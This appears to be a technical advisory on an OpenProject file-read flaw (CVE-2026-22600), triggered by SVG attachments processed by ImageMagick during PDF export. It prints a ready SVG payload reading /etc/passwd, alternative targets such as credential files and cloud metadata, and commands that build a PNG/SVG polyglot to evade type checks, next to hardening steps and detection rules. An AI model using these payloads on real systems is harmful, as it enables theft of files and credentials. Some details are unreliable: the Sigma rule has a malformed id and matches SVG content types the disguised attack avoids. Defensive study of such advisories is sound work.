Description
OpenProject is an open-source, web-based project management software. A Local File Read (LFR) vulnerability exists in the work package PDF export functionality of OpenProject prior to version 16.6.4. By uploading a specially crafted SVG file (disguised as a PNG) as a work package attachment, an attacker can exploit the backend image processing engine (ImageMagick). When the work package is exported to PDF, the backend attempts to resize the image, triggering the ImageMagick text: coder. This allows an attacker to read arbitrary local files that the application user has permissions to access (e.g., /etc/passwd, all project configuration files, private project data, etc.). The attack requires permissions to upload attachments to a container that can be exported to PDF, such as a work package. The issue has been patched in version 16.6.4. Those who are unable to upgrade may apply the patch manually.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2026-1887 (CVE-2026-22600)
OpenProject Local File Read (LFR) Vulnerability via SVG-to-PDF Export
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Classification
- Type: Local File Read (LFR) / Arbitrary File Disclosure
- Root Cause: Improper input validation and insecure processing of SVG files in OpenProject’s PDF export functionality, leveraging a text: coder vulnerability in ImageMagick.
- Attack Vector: Remote (AV:N) – Exploitable via web interface without direct system access.
- Privilege Requirement: Low (PR:L) – Requires authenticated access with attachment upload permissions (e.g., project member).
- User Interaction: None (UI:N) – Exploitation occurs automatically during PDF generation.
- Scope: Changed (S:C) – Impact extends beyond the vulnerable component (e.g., reading files outside the application’s intended scope).
CVSS v3.1 Severity Breakdown
| Metric | Value | Explanation |
|---|---|---|
| AV (Attack Vector) | Network (N) | Exploitable remotely via HTTP(S). |
| AC (Attack Complexity) | Low (L) | No special conditions; straightforward exploitation. |
| PR (Privileges Required) | Low (L) | Requires authenticated user with attachment upload rights. |
| UI (User Interaction) | None (N) | No user action beyond uploading a malicious file. |
| S (Scope) | Changed (C) | Impact affects files outside the application’s intended scope. |
| C (Confidentiality) | High (H) | Arbitrary file read (e.g., /etc/passwd, project configs). |
| I (Integrity) | Low (L) | Limited to file disclosure; no direct modification. |
| A (Availability) | Low (L) | Potential DoS via resource exhaustion (e.g., large file reads). |
| Base Score | 9.1 (Critical) | High impact on confidentiality with low attack complexity. |
Risk Assessment
- Exploitability: High – Publicly disclosed, low complexity, no user interaction.
- Impact: Critical – Full read access to sensitive files (credentials, configurations, PII).
- Likelihood of Exploitation: High – Attackers may target organizations using outdated OpenProject instances.
- Business Impact:
- Data Breach Risk: Exposure of internal project data, credentials, and system files.
- Compliance Violations: GDPR (Article 32), NIS2 Directive (if applicable).
- Reputation Damage: Loss of trust in project management platforms.
2. Potential Attack Vectors & Exploitation Methods
Exploitation Workflow
-
Initial Access:
- Attacker gains authenticated access to OpenProject (e.g., via phishing, credential stuffing, or insider threat).
- Requires permissions to upload attachments to a work package (e.g., project member role).
-
Malicious File Preparation:
- Attacker crafts an SVG file disguised as a PNG (e.g.,
malicious.pngwith SVG content). - SVG contains ImageMagick text: coder exploit payload to read arbitrary files:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="text:/etc/passwd" width="100" height="100"/> </svg> - Alternative payloads may use delegates or policy bypasses in ImageMagick.
- Attacker crafts an SVG file disguised as a PNG (e.g.,
-
File Upload & Trigger:
- Attacker uploads the malicious file as a work package attachment.
- Victim (or automated process) exports the work package to PDF.
- OpenProject’s backend processes the image via ImageMagick, triggering the text: coder to read the target file.
-
Data Exfiltration:
- The file contents are embedded in the generated PDF (e.g., as an image or metadata).
- Attacker downloads the PDF and extracts the sensitive data.
Advanced Exploitation Scenarios
- Chained Exploits:
- Combine with SSRF or XXE to read internal files (e.g.,
/proc/self/environ, cloud metadata). - Use LFR to steal database credentials (e.g.,
config/database.yml) for further compromise.
- Combine with SSRF or XXE to read internal files (e.g.,
- Persistence:
- Read SSH keys (
~/.ssh/id_rsa) or API tokens for lateral movement.
- Read SSH keys (
- Privilege Escalation:
- If OpenProject runs as
root, read/etc/shadowor/root/.bash_history.
- If OpenProject runs as
Proof-of-Concept (PoC) Considerations
- Bypassing File Type Restrictions:
- OpenProject may enforce MIME type checks (e.g.,
image/png). Attackers can:- Use polyglot files (e.g., PNG + SVG).
- Exploit misconfigured file upload handlers (e.g., trusting
Content-Typeheaders).
- OpenProject may enforce MIME type checks (e.g.,
- ImageMagick Policy Bypass:
- If
policy.xmlrestrictstext:coder, attackers may use alternative coders (e.g.,label:,msl:).
- If
3. Affected Systems & Software Versions
Vulnerable Software
| Product | Vendor | Affected Versions | Patched Version |
|---|---|---|---|
| OpenProject | OPF (OpenProject Foundation) | < 16.6.4 | 16.6.4 |
Dependencies & Attack Surface
- ImageMagick: Vulnerable versions (prior to patches for text: coder issues).
- PDF Export Engine: OpenProject’s Prawn or WickedPDF integration.
- File Upload Handlers: Any component processing attachments for PDF generation.
Environmental Factors Increasing Risk
- Misconfigured Deployments:
- OpenProject running as root (increases file read scope).
- Overly permissive file uploads (e.g., no MIME validation).
- Outdated Dependencies:
- Unpatched ImageMagick (e.g., versions vulnerable to CVE-2021-22202).
- Cloud/Containerized Deployments:
- Shared environments where LFR could expose host files (e.g., Docker socket, Kubernetes secrets).
4. Recommended Mitigation Strategies
Immediate Actions
-
Upgrade OpenProject:
- Apply version 16.6.4 or later immediately.
- Follow official upgrade instructions.
-
Manual Patch Application (If Upgrade Not Possible):
- Apply the GitHub Advisory patch.
- Key changes:
- Disable SVG processing in PDF exports.
- Sanitize file uploads (e.g., reject non-PNG/JPEG files).
- Update ImageMagick policies to restrict dangerous coders.
-
Workarounds (Temporary):
- Disable PDF Export: Restrict work package PDF generation via permissions.
- File Upload Restrictions:
- Block SVG files at the web server level (e.g., Nginx/Apache rules).
- Enforce strict MIME type validation (e.g., reject
image/svg+xml).
- ImageMagick Hardening:
- Update to the latest ImageMagick version.
- Modify
policy.xmlto disable dangerous coders:<policy domain="coder" rights="none" pattern="TEXT" /> <policy domain="coder" rights="none" pattern="LABEL" /> <policy domain="coder" rights="none" pattern="MSL" />
Long-Term Mitigations
-
Input Validation & Sanitization:
- Implement server-side file type verification (e.g.,
filecommand, magic bytes). - Use libmagic or Apache Tika for accurate MIME detection.
- Implement server-side file type verification (e.g.,
-
Least Privilege Principle:
- Run OpenProject as a non-root user with minimal filesystem permissions.
- Use containerization (e.g., Docker) with read-only filesystems where possible.
-
Network & Application Hardening:
- WAF Rules: Deploy ModSecurity or Cloudflare WAF to block malicious SVG uploads.
- Rate Limiting: Prevent brute-force attacks on file uploads.
- Logging & Monitoring:
- Log all PDF export requests and file uploads.
- Alert on unusual file access patterns (e.g.,
/etc/passwdreads).
-
Dependency Management:
- Regularly update ImageMagick and other dependencies.
- Use dependency scanning tools (e.g., Dependabot, Snyk, Trivy).
-
User Awareness & Access Control:
- Least Privilege Access: Restrict attachment upload permissions to trusted users.
- Phishing Resistance: Train users to recognize malicious file uploads.
5. Impact on the European Cybersecurity Landscape
Regulatory & Compliance Implications
- GDPR (General Data Protection Regulation):
- Article 32 (Security of Processing): Organizations must implement appropriate technical measures to prevent unauthorized data access.
- Article 33 (Data Breach Notification): If LFR leads to a breach, 72-hour notification to authorities is required.
- NIS2 Directive (Network and Information Security):
- Critical infrastructure operators (e.g., energy, transport) using OpenProject must patch within strict timelines.
- Incident reporting obligations apply if the vulnerability is exploited.
- EU Cybersecurity Act & ENISA Guidelines:
- Organizations must monitor for vulnerabilities in open-source software (e.g., via EUVD).
- Supply Chain Security: Dependency on ImageMagick highlights risks in third-party components.
Sector-Specific Risks
| Sector | Potential Impact | Mitigation Priority |
|---|---|---|
| Government | Exposure of classified project data, internal communications. | Critical (Immediate patching) |
| Healthcare | Leak of patient data (GDPR violation), research IP theft. | Critical |
| Financial Services | Theft of financial models, customer PII, regulatory filings. | High |
| Critical Infrastructure | Disclosure of operational plans, SCADA configurations. | Critical |
| Research & Academia | Loss of unpublished research, grant proposals. | High |
Threat Actor Motivations
- Cybercriminals: Data theft for extortion (e.g., ransomware double extortion).
- State-Sponsored Actors: Espionage (e.g., stealing government project details).
- Insider Threats: Disgruntled employees exfiltrating sensitive data.
- Hacktivists: Publicly leaking data to embarrass organizations.
Broader Implications for EU Cyber Resilience
- Open-Source Software Risks: Highlights the need for SBOM (Software Bill of Materials) adoption.
- Supply Chain Attacks: Vulnerabilities in ImageMagick (a common dependency) amplify risks.
- Incident Response Preparedness: Organizations must test LFR detection in their SOC.
- ENISA & CERT-EU Coordination: Likely to issue advisories for critical sectors.
6. Technical Details for Security Professionals
Root Cause Analysis
-
SVG Processing in PDF Exports:
- OpenProject uses ImageMagick to resize images during PDF generation.
- SVG files are processed via the text: coder, which can read arbitrary files if not restricted.
-
ImageMagick text: Coder Vulnerability:
- The
text:coder allows file inclusion via URIs (e.g.,text:/etc/passwd). - Prior to hardening, ImageMagick did not sandbox this functionality.
- The
-
File Upload Bypass:
- OpenProject’s MIME type validation may be bypassed by:
- Polyglot files (e.g., PNG headers with SVG payload).
- Misconfigured
Content-Typeheaders (e.g.,image/pngfor an SVG).
- OpenProject’s MIME type validation may be bypassed by:
Exploitation Deep Dive
Step 1: Crafting the Malicious SVG
<!-- malicious.svg (disguised as PNG) -->
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="text:/etc/passwd" width="100" height="100"/>
</svg>
- Alternative Payloads:
- Relative Paths:
text:./config/database.yml - Environment Variables:
text:/proc/self/environ - Cloud Metadata:
text:http://169.254.169.254/latest/meta-data/
- Relative Paths:
Step 2: Bypassing File Type Checks
- Method 1: Polyglot File
- Prepend a valid PNG header to the SVG:
echo -e "\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x02\x00\x00\x00\x90wS\xde\x00\x00\x00\x0cIDATx\x9cc\x00\x01\x00\x00\x05\x00\x01\r\n-\x8a\x00\x00\x00\x00IEND\xaeB`\x82" > malicious.png cat malicious.svg >> malicious.png
- Prepend a valid PNG header to the SVG:
- Method 2: Content-Type Spoofing
- Intercept upload request and modify
Content-Type: image/png.
- Intercept upload request and modify
Step 3: Triggering the Exploit
- Upload
malicious.pngto a work package. - Export the work package to PDF.
- Result: The PDF contains the contents of
/etc/passwd(or other targeted files).
Detection & Forensics
Indicators of Compromise (IoCs)
| Indicator | Description |
|---|---|
| File Uploads | Unusual SVG/PNG uploads with text: references. |
| PDF Metadata | Embedded file contents in PDFs (e.g., /etc/passwd). |
| ImageMagick Logs | Entries for text: coder processing. |
| Network Traffic | Outbound PDF downloads with large embedded data. |
Forensic Analysis Steps
-
Log Review:
- Check OpenProject logs for:
- Unusual PDF export requests.
- File uploads with mismatched MIME types.
- Check ImageMagick logs (
/var/log/ImageMagick/) fortext:coder usage.
- Check OpenProject logs for:
-
File System Analysis:
- Search for malicious SVGs in upload directories (e.g.,
/var/www/openproject/files/). - Check PDFs for embedded file contents:
strings exported_work_package.pdf | grep -i "root:x:"
- Search for malicious SVGs in upload directories (e.g.,
-
Memory Forensics:
- Use Volatility or Rekall to check for ImageMagick processes with suspicious arguments.
-
Network Forensics:
- Analyze PCAPs for:
- Unusual PDF downloads.
- HTTP requests to
/api/v3/work_packages/[ID]/pdf.
- Analyze PCAPs for:
Hardening ImageMagick
- Update
policy.xml:<policymap> <policy domain="coder" rights="none" pattern="TEXT" /> <policy domain="coder" rights="none" pattern="LABEL" /> <policy domain="coder" rights="none" pattern="MSL" /> <policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="path" rights="none" pattern="@*" /> </policymap> - Disable Dangerous Delegates:
sed -i 's/^.*delegate.*$//g' /etc/ImageMagick-*/delegates.xml - Run ImageMagick in a Sandbox:
- Use Firejail or gVisor to restrict filesystem access.
Automated Detection Rules
Sigma Rule (SIEM)
title: OpenProject LFR Exploitation via SVG Upload
id: 1a2b3c4d-5e6f-7g8h-9i0j-k1l2m3n4o5p6
status: experimental
description: Detects attempts to exploit CVE-2026-22600 via malicious SVG uploads.
references:
- https://github.com/opf/openproject/security/advisories/GHSA-m8f2-cwpq-vvhh
author: EU CERT
date: 2026/01/10
logsource:
category: webserver
product: openproject
detection:
selection:
cs-method: 'POST'
cs-uri-stem|contains: '/api/v3/work_packages/'
cs-uri-query|contains: '/attachments'
cs-mime-type: 'image/svg+xml'
condition: selection
falsepositives:
- Legitimate SVG uploads (tune based on environment)
level: high
YARA Rule (Malicious SVG Detection)
rule OpenProject_LFR_SVG {
meta:
description = "Detects malicious SVG files exploiting CVE-2026-22600"
author = "EU CERT"
reference = "https://github.com/opf/openproject/security/advisories/GHSA-m8f2-cwpq-vvhh"
date = "2026-01-10"
strings:
$text_coder = "text:" nocase
$xlink_href = "xlink:href" nocase
$etc_passwd = "/etc/passwd" nocase
$proc_self = "/proc/self/" nocase
condition:
filesize < 10KB and
(2 of ($text_coder, $xlink_href) or any of ($etc_passwd, $proc_self))
}
Conclusion & Recommendations
Key Takeaways
- Critical Severity (CVSS 9.1): Immediate patching is mandatory for all OpenProject instances.
- Exploitation is Trivial: Attackers only need low-privilege access and a malicious SVG.
- High Impact: Arbitrary file read can lead to full system compromise if combined with other exploits.
- Regulatory Risk: Non-compliance with GDPR and NIS2 if unpatched.
Action Plan for Organizations
| Priority | Action | Owner | Timeline |
|---|---|---|---|
| Critical | Upgrade to OpenProject 16.6.4 | IT/Security Team | Immediately |
| High | Apply ImageMagick hardening | DevOps/SysAdmin | Within 24h |
| Medium | Review file upload policies | Application Team | Within 72h |
| Low | Deploy detection rules (SIEM/YARA) | SOC Team | Within 1 week |
Final Recommendations
- Patch Management: Prioritize OpenProject 16.6.4 and ImageMagick updates.
- Defense-in-Depth: Combine WAF rules, file upload restrictions, and least privilege.
- Monitoring: Deploy SIEM alerts for suspicious PDF exports and SVG uploads.
- Incident Response: Prepare for LFR-based breaches (e.g., data exfiltration via PDFs).
- Compliance: Document mitigation efforts for GDPR/NIS2 audits.
By addressing EUVD-2026-1887 proactively, organizations can prevent data breaches, maintain regulatory compliance, and enhance their cyber resilience in the European digital landscape.